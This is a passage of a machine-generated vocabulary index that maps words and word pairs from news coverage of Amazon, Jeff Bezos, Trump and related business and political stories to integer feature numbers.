144922, "manila maduro": 144923, "track security": 144924, "heroines": 144925, "colleagues look": 144926, "shootings response": 144927, "statement bezos": 144928, "samsung": 144929, "term margin": 144930, "chief global": 144931, "mccarthy upstateamerica": 144932, "just ocasio": 144933, "removed": 144934, "surveillance speaking": 144935, "north_andover": 144936, "bankrupt amazon": 144937, "dividends": 144938, "shakeout": 144939, "racing camel": 144940, "google sundar": 144941, "create virally": 144942, "taking market": 144943, "suwol": 144944, "state party": 144945, "aging social": 144946, "hands": 144947, "new drones": 144948, "mccoll": 144949, "deal pecker": 144950, "service unfairly": 144951, "foxconn scaled": 144952, "ave maria": 144953, "office transcript": 144954, "old sears": 144955, "ad worked": 144956, "schapperts remain": 144957, "wonderfully experimental": 144958, "netchoice": 144959, "war worries": 144960, "semiotext": 144961, "hefty incentives": 144962, "permanent sense": 144963, "people congresswoman": 144964, "adjoining waterfront": 144965, "provides mobile": 144966, "history killed": 144967, "key new": 144968, "lobbying work": 144969, "wrote business": 144970, "investment director": 144971, "fan knows": 144972, "certain features": 144973, "initiatives": 144974, "assets requiring": 144975, "foil documents": 144976, "crash really": 144977, "kroger adds": 144978, "uber design": 144979, "memphis international": 144980, "bigs": 144981, "powerful conservative": 144982, "profile picture": 144983, "area killed": 144984, "develop": 144985, "tried pitching": 144986, "url": 144987, "forcibly displaced": 144988, "founder ownership": 144989, "having sold": 144990, "kent": 144991, "crossbow hipsters": 144992, "cyber break": 144993, "need queens": 144994, "performing little": 144995, "investors hoping": 144996, "canadian players": 144997, "global trade": 144998, "leaders scramble": 144999, "certain consumer": 145000, "control gay": 145001, "quarterly profits": 145002, "growing big": 145003, "generally poll": 145004, "potential reset": 145005, "environmental action": 145006, "crimes wisconsin": 145007, "anissue": 145008, "involving delivery": 145009, "know everybody": 145010, "mississippi just": 145011, "espousing": 145012, "domenick abbate": 145013, "layfield": 145014, "xin jinping": 145015, "angeles boss": 145016, "primetime senate": 145017, "later columns": 145018, "cc": 145019, "labor day": 145020, "stymied": 145021, "rocket blue": 145022, "tax treatment": 145023, "democratic good": 145024, "steve williams": 145025, "dc restaurant": 145026, "nullifies": 145027, "brown immigrants": 145028, "bezostheclown": 145029, "story unexpected": 145030, "__proto__ a4ee": 145031, "margins": 145032, "shares blue": 145033, "authorized": 145034, "capabilities outside": 145035, "story icymi": 145036, "initially sees": 145037, "tanking": 145038, "lest americans": 145039, "fronts following": 145040, "elaine krupnick": 145041, "stronger military": 145042, "humor properly": 145043, "politics saying": 145044, "cartoons visit": 145045, "cosecha demonstrators": 145046, "queer eye": 145047, "share relationships": 145048, "real body": 145049, "include sex": 145050, "sideline": 145051, "grumpy craggy": 145052, "new package": 145053, "resuscitated authorities": 145054, "regulations uu": 145055, "western canada": 145056, "commerce peers": 145057, "pursues solutions": 145058, "company opposition": 145059, "sounds juicy": 145060, "studies organized": 145061, "elegy": 145062, "poohed": 145063, "amazon poor": 145064, "signs supporting": 145065, "keeps pushing": 145066, "amazon hoped": 145067, "placed tariffs": 145068, "instance carmakers": 145069, "influence roughly": 145070, "commemorative": 145071, "question embedded": 145072, "line people": 145073, "market radar": 145074, "ebay reports": 145075, "thing katherine": 145076, "customers second": 145077, "multiple hq2s": 145078, "impeachobama": 145079, "database issues": 145080, "indiana needs": 145081, "fast lane": 145082, "canceling nyc": 145083, "certainly believes": 145084, "gentrification relocating": 145085, "kubernetes mega": 145086, "amazon avoids": 145087, "couple theories": 145088, "editor paul": 145089, "worsen relations": 145090, "ended private": 145091, "toughen foreign": 145092, "marshal service": 145093, "media writing": 145094, "walmart won": 145095, "exchange changed": 145096, "arresting central": 145097, "chanel": 145098, "dhs amazon": 145099, "reporter meltdown": 145100, "everybody watch": 145101, "citing historic": 145102, "unprincipled": 145103, "colleague sean": 145104, "immaculate long": 145105, "researches teen": 145106, "new assertive": 145107, "bezos enterprises": 145108, "blunt response": 145109, "nwdc": 145110, "specification": 145111, "false sense": 145112, "story meet": 145113, "activist seton": 145114, "state mike": 145115, "state model": 145116, "hadassa waxman": 145117, "industry isn": 145118, "senator michael": 145119, "viewing amazon": 145120, "snail": 145121, "partnership model": 145122, "host hq2": 145123, "rebecca burns": 145124, "beelzebezos kowtows": 145125, "record boom": 145126, "regulations learned": 145127, "unvarnished view": 145128, "conduct maybe": 145129, "review manipulation": 145130, "willget final": 145131, "gop enlarged": 145132, "ge booking": 145133, "queryselectorall": 145134, "new campuses": 145135, "1998": 145136, "address phone": 145137, "effective way": 145138, "chat jessie": 145139, "staff shakeups": 145140, "distance hiker": 145141, "yalitza": 145142, "york posted": 145143, "tech derby": 145144, "speeds enhanced": 145145, "items sent": 145146, "criticism following": 145147, "including president": 145148, "regarding": 145149, "hires": 145150, "galloway professor": 145151, "used extortion": 145152, "dubbing jeff": 145153, "2016 adding": 145154, "sherman": 145155, "veterans weighed": 145156, "tax golf": 145157, "briefly fell": 145158, "york big": 145159, "lowboy": 145160, "conservative writer": 145161, "local author": 145162, "streaming devices": 145163, "win friends": 145164, "twitter channels": 145165, "vendors pay": 145166, "paper 8217": 145167, "charlamagne tha": 145168, "wasn ready": 145169, "analytica": 145170, "native country": 145171, "national provider": 145172, "choose legislators": 145173, "slapped alphabet": 145174, "police forces": 145175, "flat compared": 145176, "\u0430in\u0430appearance children": 145177, "bezos freed": 145178, "cresset family": 145179, "2018 edition": 145180, "indict": 145181, "highest values": 145182, "hagey explains": 145183, "hosts eugene": 145184, "contract challenges": 145185, "900 barron": 145186, "looted": 145187, "ice spokesman": 145188, "echo dominance": 145189, "ohlin": 145190, "bezos willingness": 145191, "mnuchin took": 145192, "bad reporting": 145193, "reporting defendant": 145194, "deputy attorney": 145195, "affiliated": 145196, "low taxes": 145197, "hate": 145198, "portfolio cambridge": 145199, "otcpk usps": 145200, "industry hearings": 145201, "8217 chief": 145202, "appeared": 145203, "trace": 145204, "taxes underpaying": 145205, "break arlington": 145206, "network cnn": 145207, "videotape larry": 145208, "leading national": 145209, "instincts": 145210, "tragedy struck": 145211, "accuses sears": 145212, "curb online": 145213, "usps generates": 145214, "hours ahead": 145215, "world famous": 145216, "proposal danhof": 145217, "various higher": 145218, "sales data": 145219, "nests trump": 145220, "posted president": 145221, "amazon contracts": 145222, "protecting hillary": 145223, "tracker reports": 145224, "hidden angle": 145225, "services smaller": 145226, "notably china": 145227, "party stores": 145228, "blunt future": 145229, "molinari": 145230, "shipping option": 145231, "woman hops": 145232, "lisa lillien": 145233, "nonsupervisory retail": 145234, "neutrality indicate": 145235, "mixed reactions": 145236, "tribeca": 145237, "gbenga ajilore": 145238, "388160 img_foreignkey": 145239, "cupp": 145240, "unfettered": 145241, "restoring ms": 145242, "published stocks": 145243, "lascivious texts": 145244, "trump accepts": 145245, "butler": 145246, "alexa developer": 145247, "deeply patriotic": 145248, "bipartisan consensus": 145249, "national immigrant": 145250, "hagey": 145251, "adviser roger": 145252, "tiny closed": 145253, "turbine division": 145254, "tape hogan": 145255, "wire cnl_featuretype": 145256, "solicit amazon": 145257, "formally worked": 145258, "comics visit": 145259, "elected euro": 145260, "sanders refers": 145261, "russia tried": 145262, "high production": 145263, "mama meal": 145264, "mohamad": 145265, "nervous 2018": 145266, "video jackson": 145267, "nationalpost lewrockwell": 145268, "summit host": 145269, "photo cnbc": 145270, "jessica chastain": 145271, "words world": 145272, "cohen reportedly": 145273, "substantive differences": 145274, "oxy pills": 145275, "prevent becker": 145276, "shape legislation": 145277, "urges japan": 145278, "central banks": 145279, "relationship featuring": 145280, "warmly": 145281, "members called": 145282, "rests": 145283, "bona fide": 145284, "ongoing mueller": 145285, "dosari bezos": 145286, "terrible security": 145287, "corrected release": 145288, "croix river": 145289, "thedemocratic": 145290, "dived": 145291, "improved educational": 145292, "2020 census": 145293, "wayfair": 145294, "index climbed": 145295, "constructionaccounts": 145296, "lincicome": 145297, "game plan": 145298, "company copying": 145299, "lic post": 145300, "totally dishonest": 145301, "best chef": 145302, "appliance": 145303, "geekwire analysis": 145304, "newpaper24 global": 145305, "backpack": 145306, "eb": 145307, "generational reckoning": 145308, "mitigate persistent": 145309, "rising competition": 145310, "bandwidth right": 145311, "cite previous": 145312, "bob dole": 145313, "scott angelle": 145314, "price tags": 145315, "airmen honored": 145316, "positive trade": 145317, "vision": 145318, "built follow": 145319, "expose": 145320, "does run": 145321, "anonymous": 145322, "overruled yesterday": 145323, "key oil": 145324, "early voice": 145325, "boyle listens": 145326, "additionally impeach": 145327, "valley based": 145328, "huge multiple": 145329, "release conference": 145330, "toni angelo": 145331, "hackett": 145332, "big myth": 145333, "run bunch": 145334, "higher arpu": 145335, "bidu": 145336, "trump unnecessary": 145337, "new community": 145338, "level drivers": 145339, "attended": 145340, "treats trump": 145341, "wages roughly": 145342, "euro stoxx": 145343, "issues budgetary": 145344, "mail fewer": 145345, "beast report": 145346, "fraudster": 145347, "401 student": 145348, "security technology": 145349, "pemuda means": 145350, "ken klippenstein": 145351, "available contact": 145352, "meet halfway": 145353, "pac donation": 145354, "amazon unfiltered": 145355, "lend money": 145356, "cbs north": 145357, "league season": 145358, "major seattle": 145359, "month 2018": 145360, "house sent": 145361, "fallen flat": 145362, "sign flashing": 145363, "selected think": 145364, "spending far": 145365, "detests": 145366, "consumers benefit": 145367, "2016 nearly": 145368, "buzz pre": 145369, "document filed": 145370, "opening brewery": 145371, "lathan": 145372, "trump summit": 145373, "nottrump": 145374, "public data": 145375, "federal workforce": 145376, "residential reits": 145377, "secretary tim": 145378, "integrate xpo": 145379, "crunching": 145380, "unlikeliest": 145381, "homemaker": 145382, "blindfold": 145383, "targeted": 145384, "remain stuck": 145385, "agency delivering": 145386, "plumer writes": 145387, "largest producers": 145388, "times dhl": 145389, "import pot": 145390, "google displays": 145391, "zenith": 145392, "stop buying": 145393, "gig economy": 145394, "union trump": 145395, "patronized": 145396, "says standing": 145397, "entity amazon": 145398, "explained employees": 145399, "helped amazon": 145400, "overwhelming supported": 145401, "misogynistic": 145402, "gillian flaccus": 145403, "stop bojack": 145404, "credits earned": 145405, "ann read": 145406, "coalition aim": 145407, "ramps project": 145408, "source mc": 145409, "headquarters puts": 145410, "elevator": 145411, "bomb case": 145412, "disclosure stories": 145413, "messages citing": 145414, "etf xrt": 145415, "situation shows": 145416, "319 map": 145417, "danhett": 145418, "really embarrassment": 145419, "later assigned": 145420, "remindsme": 145421, "jackhammered": 145422, "o1a": 145423, "apparently hopes": 145424, "official foreign": 145425, "assistants smart": 145426, "prospects competition": 145427, "treaty guaranteeing": 145428, "chapter amid": 145429, "man access": 145430, "yoshida blasts": 145431, "isn required": 145432, "amazing turn": 145433, "rt friendmatty": 145434, "trump faces": 145435, "county fears": 145436, "marker": 145437, "endorsing major": 145438, "joined multi": 145439, "hank smith": 145440, "resign": 145441, "legacy chains": 145442, "fiery endorsement": 145443, "rise structure": 145444, "jacqueline": 145445, "erratic behavior": 145446, "topo chico": 145447, "pharmacy business": 145448, "scottland ireland": 145449, "company wanting": 145450, "harrowing": 145451, "langella": 145452, "funny modern": 145453, "finnish presidential": 145454, "small batch": 145455, "famine": 145456, "woodard upcoming": 145457, "notice disclaimer": 145458, "forget recyclable": 145459, "emergency shelter": 145460, "china data": 145461, "community pushback": 145462, "airport big": 145463, "reviews": 145464, "josh barro": 145465, "untaxed": 145466, "correctly detected": 145467, "trade offs": 145468, "pecker bonus": 145469, "michael giorgione": 145470, "honors human": 145471, "payments financial": 145472, "charlie gasparino": 145473, "dp b077l6ksgm": 145474, "totaling million": 145475, "zucker run": 145476, "jackets": 145477, "s5 s8i": 145478, "universe resistance": 145479, "force nope": 145480, "crumbling": 145481, "cell therapy": 145482, "property services": 145483, "stock continued": 145484, "disrupting unrelated": 145485, "parts amazon": 145486, "retailer legal": 145487, "officials report": 145488, "2018 rapidly": 145489, "legitimate journalism": 145490, "day email": 145491, "continuing government": 145492, "mess just": 145493, "bad corporate": 145494, "patrick leahy": 145495, "ggg": 145496, "westover amazon": 145497, "basketball": 145498, "beloved personal": 145499, "homespun": 145500, "email trove": 145501, "health insurers": 145502, "continue launching": 145503, "pecker traveled": 145504, "sportscaster jim": 145505, "popular according": 145506, "create savings": 145507, "year kamhi": 145508, "horror including": 145509, "vitriol nope": 145510, "nationalist jared": 145511, "wight": 145512, "query report": 145513, "destination amazon": 145514, "workers compared": 145515, "79million": 145516, "literary": 145517, "foment public": 145518, "mexico best": 145519, "turing": 145520, "czech coalition": 145521, "franzia": 145522, "team wide": 145523, "nuzzle": 145524, "0510s2p": 145525, "income gap": 145526, "wider selection": 145527, "rare bright": 145528, "vestager new": 145529, "channels server719399": 145530, "performance based": 145531, "china fortunately": 145532, "communications drew": 145533, "stale": 145534, "quacks": 145535, "ravaged california": 145536, "987mm credit": 145537, "chief executive": 145538, "twitter content": 145539, "current group": 145540, "responsibility affordable": 145541, "alleged pecker": 145542, "comments overall": 145543, "causing authentic": 145544, "sexting": 145545, "minded small": 145546, "growing larger": 145547, "honoring": 145548, "ied david": 145549, "president willhave": 145550, "getting lump": 145551, "environmental regulatory": 145552, "heart lies": 145553, "kingdom shutting": 145554, "says capitalism": 145555, "purse lawmakers": 145556, "war trump": 145557, "sears ongoing": 145558, "revenue fell": 145559, "legislators tuned": 145560, "courts overwhelmed": 145561, "mole listen": 145562, "particular john": 145563, "ulta": 145564, "apwu annual": 145565, "workers earn": 145566, "furious trump": 145567, "valley starting": 145568, "famously depicts": 145569, "susan talking": 145570, "ago 19pm": 145571, "bookstore called": 145572, "education tech": 145573, "200 year": 145574, "people amazon": 145575, "obligations": 145576, "crowded": 145577, "lot trump": 145578, "tech powering": 145579, "nasa memorabilia": 145580, "revival": 145581, "assembled team": 145582, "736 pages": 145583, "tech gender": 145584, "mailbox squinting": 145585, "freight rolls": 145586, "feed reader": 145587, "accenture positioned": 145588, "white shoes": 145589, "annual microsoft": 145590, "implements": 145591, "finalizes insurance": 145592, "telecom industry": 145593, "bezos chooses": 145594, "text gayle": 145595, "central publishing": 145596, "06m": 145597, "bezos modest": 145598, "expected image": 145599, "boilerplate language": 145600, "overlooks manhattan": 145601, "cortez grapples": 145602, "army capt": 145603, "means committee": 145604, "accounts spam": 145605, "official commemorative": 145606, "sacks neurologist": 145607, "ordination attention": 145608, "fred hiatt": 145609, "1736et": 145610, "undercutting women": 145611, "zilch zip": 145612, "texas varney": 145613, "muslims jewish": 145614, "bush waves": 145615, "blaming local": 145616, "colorado trumped": 145617, "calls acosta": 145618, "follow chart": 145619, "melber": 145620, "org fundraising": 145621, "bolsonaro nationalistic": 145622, "vallone chair": 145623, "moody analytics": 145624, "world wealthiest": 145625, "kept secret": 145626, "investigation week": 145627, "following statements": 145628, "ideas number": 145629, "told reporter": 145630, "current attacks": 145631, "162": 145632, "alaska forcing": 145633, "melts": 145634, "matador work": 145635, "appease white": 145636, "contact 312": 145637, "online statistics": 145638, "changes globalization": 145639, "reveals apple": 145640, "projection covered": 145641, "enquirer story": 145642, "signatories": 145643, "lobbying shop": 145644, "yelp barclays": 145645, "canadians mark": 145646, "tweeted welcome": 145647, "aimee johnson": 145648, "global technical": 145649, "dictum": 145650, "attracts criticism": 145651, "expertise helped": 145652, "oahu set": 145653, "better solution": 145654, "using inappropriate": 145655, "consistently inconsistent": 145656, "making similar": 145657, "changing politicians": 145658, "certain tipping": 145659, "runs": 145660, "liquidity beta": 145661, "news comments": 145662, "alternative parscale": 145663, "flavorwire embedded": 145664, "colvin": 145665, "barbara california": 145666, "enterprisewide": 145667, "payments known": 145668, "costs related": 145669, "musk falcon": 145670, "business principles": 145671, "valley photo": 145672, "timeframetoggle false": 145673, "taking objection": 145674, "president tom": 145675, "cities compete": 145676, "fed picks": 145677, "absorbing netflix": 145678, "piketty": 145679, "eradicate": 145680, "amazon clearly": 145681, "2017 just": 145682, "avoid china": 145683, "cnn zinke": 145684, "analytic approach": 145685, "star costume": 145686, "active investigations": 145687, "article couple": 145688, "contested": 145689, "pentagon doesn": 145690, "providing real": 145691, "obama years": 145692, "function v4": 145693, "capsules": 145694, "disinformation won": 145695, "saving prevention": 145696, "support van": 145697, "newsletter business": 145698, "pete": 145699, "steven jon": 145700, "walker debuts": 145701, "late great": 145702, "thestreet kinsey": 145703, "independent monitor": 145704, "amazon debacle": 145705, "just market": 145706, "government charges": 145707, "partners including": 145708, "real story": 145709, "inflation ahead": 145710, "times reporters": 145711, "binge able": 145712, "trend critics": 145713, "new revelation": 145714, "media blasts": 145715, "poetry collection": 145716, "gift zone": 145717, "inherent": 145718, "books published": 145719, "fewer regulations": 145720, "state leadership": 145721, "later met": 145722, "000 holiday": 145723, "regulation facebook": 145724, "connectivity office": 145725, "earn consultation": 145726, "service legally": 145727, "prediction companies": 145728, "incorrect assumption": 145729, "sentiment jumped": 145730, "senator posted": 145731, "dakota supreme": 145732, "akelige sollicitatie": 145733, "2015 kamhi": 145734, "eyes recent": 145735, "recruits learn": 145736, "amazon trump": 145737, "watch president": 145738, "shuffling working": 145739, "internet fandom": 145740, "throw": 145741, "lifestyle fields": 145742, "delivery operators": 145743, "new positions": 145744, "avoided charges": 145745, "investigation methods": 145746, "slams jeff": 145747, "treatment 2018": 145748, "twitter reason": 145749, "wife air": 145750, "bases trump": 145751, "handbags amazon": 145752, "amassed thanks": 145753, "drinks way": 145754, "sounds interesting": 145755, "c2x b5q": 145756, "limo driver": 145757, "latest flier": 145758, "chinese plot": 145759, "domestic abuse": 145760, "protest rallies": 145761, "icymi melania": 145762, "saudis game": 145763, "provided": 145764, "false picture": 145765, "wrong muckerman": 145766, "story looking": 145767, "scrawny figure": 145768, "particularly hard": 145769, "pe\u00f1a ice": 145770, "rundown": 145771, "stamps features": 145772, "neighbors defeated": 145773, "situation north": 145774, "destroy democracy": 145775, "money wrangles": 145776, "using 25th": 145777, "feldman chart": 145778, "lyme": 145779, "picture nbc": 145780, "daughters living": 145781, "theconsequence": 145782, "eyewitness accounts": 145783, "slattery trump": 145784, "looking cleaner": 145785, "cease bezos": 145786, "following press": 145787, "world email": 145788, "accusations leveled": 145789, "body text": 145790, "sink led": 145791, "goggans": 145792, "apparently just": 145793, "major plant": 145794, "speaking loudly": 145795, "provider expanding": 145796, "data economy": 145797, "dan sena": 145798, "disrespected": 145799, "florida recount": 145800, "msf": 145801, "cit": 145802, "violated election": 145803, "shown determination": 145804, "leaderhip hiring": 145805, "estate developer": 145806, "nfl concussion": 145807, "neckline": 145808, "globaldata report": 145809, "marketwatch report": 145810, "jr ivanka": 145811, "hyatt hotel": 145812, "perrone": 145813, "person making": 145814, "netflix read": 145815, "won explain": 145816, "amazon head": 145817, "delivery struggled": 145818, "potential military": 145819, "applications dangling": 145820, "inaccurate": 145821, "bezos employee": 145822, "dleonard12": 145823, "standard foundation": 145824, "attention wasn": 145825, "clip created": 145826, "targets ordering": 145827, "handing maga": 145828, "likelihood 2018": 145829, "09m": 145830, "bezos investigators": 145831, "aghast anti": 145832, "ifiers": 145833, "minor voluntary": 145834, "\u0430thanks": 145835, "messages surfaced": 145836, "echo shockingly": 145837, "trump failure": 145838, "clip steven": 145839, "digital tyranny": 145840, "growth deceleration": 145841, "book amounts": 145842, "shown time": 145843, "perfectly": 145844, "mexico election": 145845, "billerica": 145846, "virginia suburbs": 145847, "spouse mackenzie": 145848, "demand cooked": 145849, "blue chip": 145850, "cristina dias": 145851, "swamp medium": 145852, "joey": 145853, "saying speaking": 145854, "australia smart": 145855, "danhof states": 145856, "chadha": 145857, "home workplace": 145858, "source relayed": 145859, "whitney": 145860, "000 state": 145861, "hornets photo": 145862, "amazon guidance": 145863, "county according": 145864, "release intimate": 145865, "life asking": 145866, "financial lifeline": 145867, "diatribe": 145868, "technology bank": 145869, "victim act": 145870, "tabloids don": 145871, "countries expect": 145872, "britain france": 145873, "tim apple": 145874, "totalling 252": 145875, "story stiglitz": 145876, "water clean": 145877, "servers continued": 145878, "relentless": 145879, "thinkers": 145880, "seafood": 145881, "faang portfolio": 145882, "functioning congress": 145883, "divorce wish": 145884, "potential opponent": 145885, "vinyl dashboard": 145886, "monet illumonet": 145887, "galvanized longtime": 145888, "activity showcased": 145889, "multiplication photo": 145890, "theglobeandmail": 145891, "trump queen": 145892, "dennis hopper": 145893, "uber toxic": 145894, "world list": 145895, "ripe": 145896, "plus employees": 145897, "mhz memorandum": 145898, "druckenmiller katie": 145899, "trump pat": 145900, "true inc_notepad": 145901, "cool stuffy": 145902, "order home": 145903, "early age": 145904, "aclu attorney": 145905, "border employee": 145906, "beverages": 145907, "dubious stories": 145908, "yguado": 145909, "31m": 145910, "second machine": 145911, "dismount": 145912, "short treasurys": 145913, "readers 2018": 145914, "elements": 145915, "000 pages": 145916, "myriad": 145917, "climate accords": 145918, "national level": 145919, "ami using": 145920, "baptist churchgoers": 145921, "martens": 145922, "data bs_link": 145923, "uk rules": 145924, "davos gathering": 145925, "sharon massachusetts": 145926, "carolinas medical": 145927, "olitics": 145928, "luis magana": 145929, "formed earlier": 145930, "room avoiding": 145931, "indiana state": 145932, "gates": 145933, "mobile scheduling": 145934, "large set": 145935, "virgin": 145936, "world largest": 145937, "story writing": 145938, "markets pushing": 145939, "waldo": 145940, "scrubbed": 145941, "alomran": 145942, "senate intelligence": 145943, "actually response": 145944, "president lincoln": 145945, "screen technology": 145946, "starts fell": 145947, "sears": 145948, "add skills": 145949, "pet project": 145950, "technical systems": 145951, "amazon worker": 145952, "final competition": 145953, "somewhat troublesome": 145954, "animosity hasn": 145955, "probably wouldn": 145956, "ground music": 145957, "reback work": 145958, "radar 2017": 145959, "retailer sells": 145960, "really dumb": 145961, "intraday high": 145962, "doesn play": 145963, "1456et": 145964, "trump mocks": 145965, "contract google": 145966, "investors hanging": 145967, "services partner": 145968, "different global": 145969, "started family": 145970, "programmed alexa": 145971, "dimitrios pagourtzis": 145972, "breakups summer": 145973, "bezos wings": 145974, "bellowing": 145975, "shelves today": 145976, "big thing": 145977, "giannandrea": 145978, "amazon decided": 145979, "right website": 145980, "p0 v4": 145981, "function overrides": 145982, "local politicians": 145983, "american capitalism": 145984, "story saudi": 145985, "successful reaching": 145986, "asiatatler": 145987, "broad sense": 145988, "clarkson": 145989, "homelessness economist": 145990, "washington pen": 145991, "worry seattle": 145992, "unaccompanied minors": 145993, "custer": 145994, "bumper stickers": 145995, "vastly scaled": 145996, "flinched": 145997, "789 amazon": 145998, "real consequences": 145999, "eisele": 146000, "marketwatch ontwitter": 146001, "vastly": 146002, "home device": 146003, "jrosenworcel": 146004, "natalie portman": 146005, "says sinclair": 146006, "cnl_custom_color null": 146007, "local self": 146008, "billion hit": 146009, "fast moving": 146010, "massive sales": 146011, "clear repeatedly": 146012, "suffer eps": 146013, "literary climber": 146014, "different shirt": 146015, "favouring amazon": 146016, "completes marathon": 146017, "enquirer attempted": 146018, "heckling": 146019, "justice told": 146020, "abhorrent": 146021, "melchiorre complained": 146022, "proactive": 146023, "twsrc": 146024, "old crime": 146025, "stone appeared": 146026, "companies cornering": 146027, "prompting comparisons": 146028, "just tying": 146029, "scale problems": 146030, "fund bezos": 146031, "employees worry": 146032, "google trigger": 146033, "brand registry": 146034, "privacy probe": 146035, "failed amazon": 146036, "coins using": 146037, "victoria burke": 146038, "beauty president": 146039, "pay raises": 146040, "hour tonight": 146041, "changing marketplace": 146042, "global advsrs": 146043, "schooling chuck": 146044, "carlson quest": 146045, "channels trump": 146046, "trump does": 146047, "firm win": 146048, "joy reid": 146049, "putting increased": 146050, "unruly behemoth": 146051, "organization presumably": 146052, "government permission": 146053, "world polling": 146054, "earnings expectation": 146055, "tamblyn": 146056, "racist party": 146057, "bo manry": 146058, "amazon private": 146059, "ill fated": 146060, "mightily": 146061, "thewall": 146062, "prosecutors revealed": 146063, "clothes model": 146064, "counterfeited": 146065, "protecting consumers": 146066, "holidays": 146067, "internet amazon": 146068, "labor laws": 146069, "unbreakable smart": 146070, "gossipmongers": 146071, "dominic raab": 146072, "myers army": 146073, "bezos concluded": 146074, "help save": 146075, "tv industry": 146076, "profile anderson": 146077, "racy pictures": 146078, "stock felt": 146079, "counsel findings": 146080, "spicer allegedly": 146081, "omnipresent alexa": 146082, "requiring confidentiality": 146083, "southern paraguay": 146084, "facebook writes": 146085, "enlist foreign": 146086, "felton": 146087, "increased power": 146088, "individuals white": 146089, "highly effective": 146090, "helps drive": 146091, "rises 2018": 146092, "sleight": 146093, "callbackobj containerel": 146094, "ccn hacked": 146095, "soybeans piling": 146096, "approval rights": 146097, "help companies": 146098, "store pick": 146099, "suburban dynamo": 146100, "notopoulos katienotopoulos": 146101, "amzn introduced": 146102, "school day": 146103, "cattle ranch": 146104, "fledged hollywood": 146105, "representative beto": 146106, "boost trump": 146107, "flexential thanks": 146108, "easily explained": 146109, "past story": 146110, "fayetteville harris": 146111, "jenner parody": 146112, "diary portland": 146113, "probably used": 146114, "protect user": 146115, "brzezinski suggested": 146116, "crimes related": 146117, "political tweets": 146118, "hulu new": 146119, "respondents political": 146120, "paula avila": 146121, "orders white": 146122, "internet mercenaries": 146123, "hateful language": 146124, "leo sun": 146125, "data point": 146126, "conclusions": 146127, "want flashlight": 146128, "honest everyman": 146129, "shopping seen": 146130, "dreambox learning": 146131, "regions largest": 146132, "reaction london": 146133, "gather data": 146134, "1930s": 146135, "presented proxy": 146136, "review taliban": 146137, "profitable investments": 146138, "lena": 146139, "remain free": 146140, "authorities instead": 146141, "lango recently": 146142, "york neighborhood": 146143, "large building": 146144, "unsavory business": 146145, "flagship": 146146, "usc pharmaceutical": 146147, "axios reporter": 146148, "television jeff": 146149, "matt maley": 146150, "growth yesterday": 146151, "shakes hands": 146152, "house people": 146153, "brute": 146154, "continuesa": 146155, "bezos founder": 146156, "potentially taking": 146157, "ajello": 146158, "payments altogether": 146159, "1994 initially": 146160, "outdoor": 146161, "mueller witch": 146162, "outlet want": 146163, "prominent social": 146164, "house spy": 146165, "roar": 146166, "york": 146167, "avoidance known": 146168, "allow employees": 146169, "3d printed": 146170, "kill pecker": 146171, "a4ee n1": 146172, "work cnet": 146173, "malfunction": 146174, "apparent willingness": 146175, "introducing tariffs": 146176, "postmaster brennan": 146177, "voice requests": 146178, "comcast subsidiary": 146179, "association kiannah": 146180, "live poked": 146181, "party control": 146182, "corollary": 146183, "trump rewarded": 146184, "win government": 146185, "secret girlfriend": 146186, "desperate people": 146187, "wouldn drop": 146188, "giant backing": 146189, "standards board": 146190, "hungry investors": 146191, "previously covered": 146192, "measures political": 146193, "afternoon rally": 146194, "years lots": 146195, "shibabi": 146196, "leaders fear": 146197, "similar lawsuits": 146198, "official inquiry": 146199, "split jeff": 146200, "prominent technology": 146201, "21st annual": 146202, "require": 146203, "banking day": 146204, "nickelsburg": 146205, "injury": 146206, "analyst takes": 146207, "2018 allen": 146208, "app accounts": 146209, "increased salaries": 146210, "enquirer allegiances": 146211, "ap empire": 146212, "world blue": 146213, "flint investigation": 146214, "program snap": 146215, "fsu leadership": 146216, "noahs": 146217, "daily market": 146218, "philo holm": 146219, "proof vest": 146220, "montgomery county": 146221, "time competing": 146222, "sanders understates": 146223, "extremists arguing": 146224, "kingsolver": 146225, "eventual acquisition": 146226, "qualifying": 146227, "charge rourke": 146228, "included texts": 146229, "regulates": 146230, "create chill": 146231, "receive federal": 146232, "taking actions": 146233, "html new": 146234, "financial goldman": 146235, "government assume": 146236, "entire aws": 146237, "lexology victoria": 146238, "research report": 146239, "survivors": 146240, "drew attention": 146241, "autostartvideo isliveplayer": 146242, "trump skewers": 146243, "johnson trump": 146244, "2015 iran": 146245, "clinched": 146246, "benefits enormously": 146247, "individuals suppose": 146248, "similarly marc": 146249, "fuller": 146250, "duran": 146251, "close proximity": 146252, "google employed": 146253, "trump improperly": 146254, "order contains": 146255, "behemoth right": 146256, "acceso": 146257, "products investors": 146258, "complex algorithms": 146259, "amazon forget": 146260, "burnish amazon": 146261, "gravy train": 146262, "emarketer digital": 146263, "firsthand experience": 146264, "trump host": 146265, "real estate": 146266, "reducing safety": 146267, "bezos jeffrey": 146268, "bullish particularly": 146269, "amazon qz": 146270, "lasting depending": 146271, "coursing": 146272, "amazon fight": 146273, "hour sitcom": 146274, "willing": 146275, "delivery prices": 146276, "finding attributed": 146277, "arcnewsletter": 146278, "russia studies": 146279, "economic development": 146280, "tech moguls": 146281, "keeps": 146282, "analysts covering": 146283, "specific signs": 146284, "interests firms": 146285, "portfolio park": 146286, "japan based": 146287, "parkland amazon": 146288, "country music": 146289, "small startup": 146290, "cherished friends": 146291, "jedi contract": 146292, "deep data": 146293, "global news": 146294, "suggests recession": 146295, "years following": 146296, "crispin": 146297, "nemesis jeff": 146298, "conservative orange": 146299, "accent new": 146300, "says fortune": 146301, "characters": 146302, "imazon": 146303, "phase sophia": 146304, "crony investment": 146305, "tif target": 146306, "relations subcommittee": 146307, "needed george": 146308, "money led": 146309, "subsections technology": 146310, "format ellison": 146311, "randal rand": 146312, "chief product": 146313, "distracting revenge": 146314, "past best": 146315, "project announcement": 146316, "time president": 146317, "expected race": 146318, "virginia sparked": 146319, "scientific ideas": 146320, "guard questioned": 146321, "tavern": 146322, "nation tech": 146323, "fierce fabulous": 146324, "plantilla pic": 146325, "sola": 146326, "items listed": 146327, "care powerhouse": 146328, "official office": 146329, "key board": 146330, "earlier article": 146331, "pill distribution": 146332, "metro areas": 146333, "afp president": 146334, "briefing documents": 146335, "amzn spent": 146336, "68b": 146337, "generate sales": 146338, "nb": 146339, "janssen": 146340, "begin making": 146341, "shows midterm": 146342, "forge compromise": 146343, "reusable rockets": 146344, "antagonizes bezos": 146345, "campaign associates": 146346, "das": 146347, "comedy sketch": 146348, "evil motivation": 146349, "wants queens": 146350, "pecker speaking": 146351, "extremely boring": 146352, "dollar gains": 146353, "dad tony": 146354, "menacing": 146355, "connect doctors": 146356, "apple netflix": 146357, 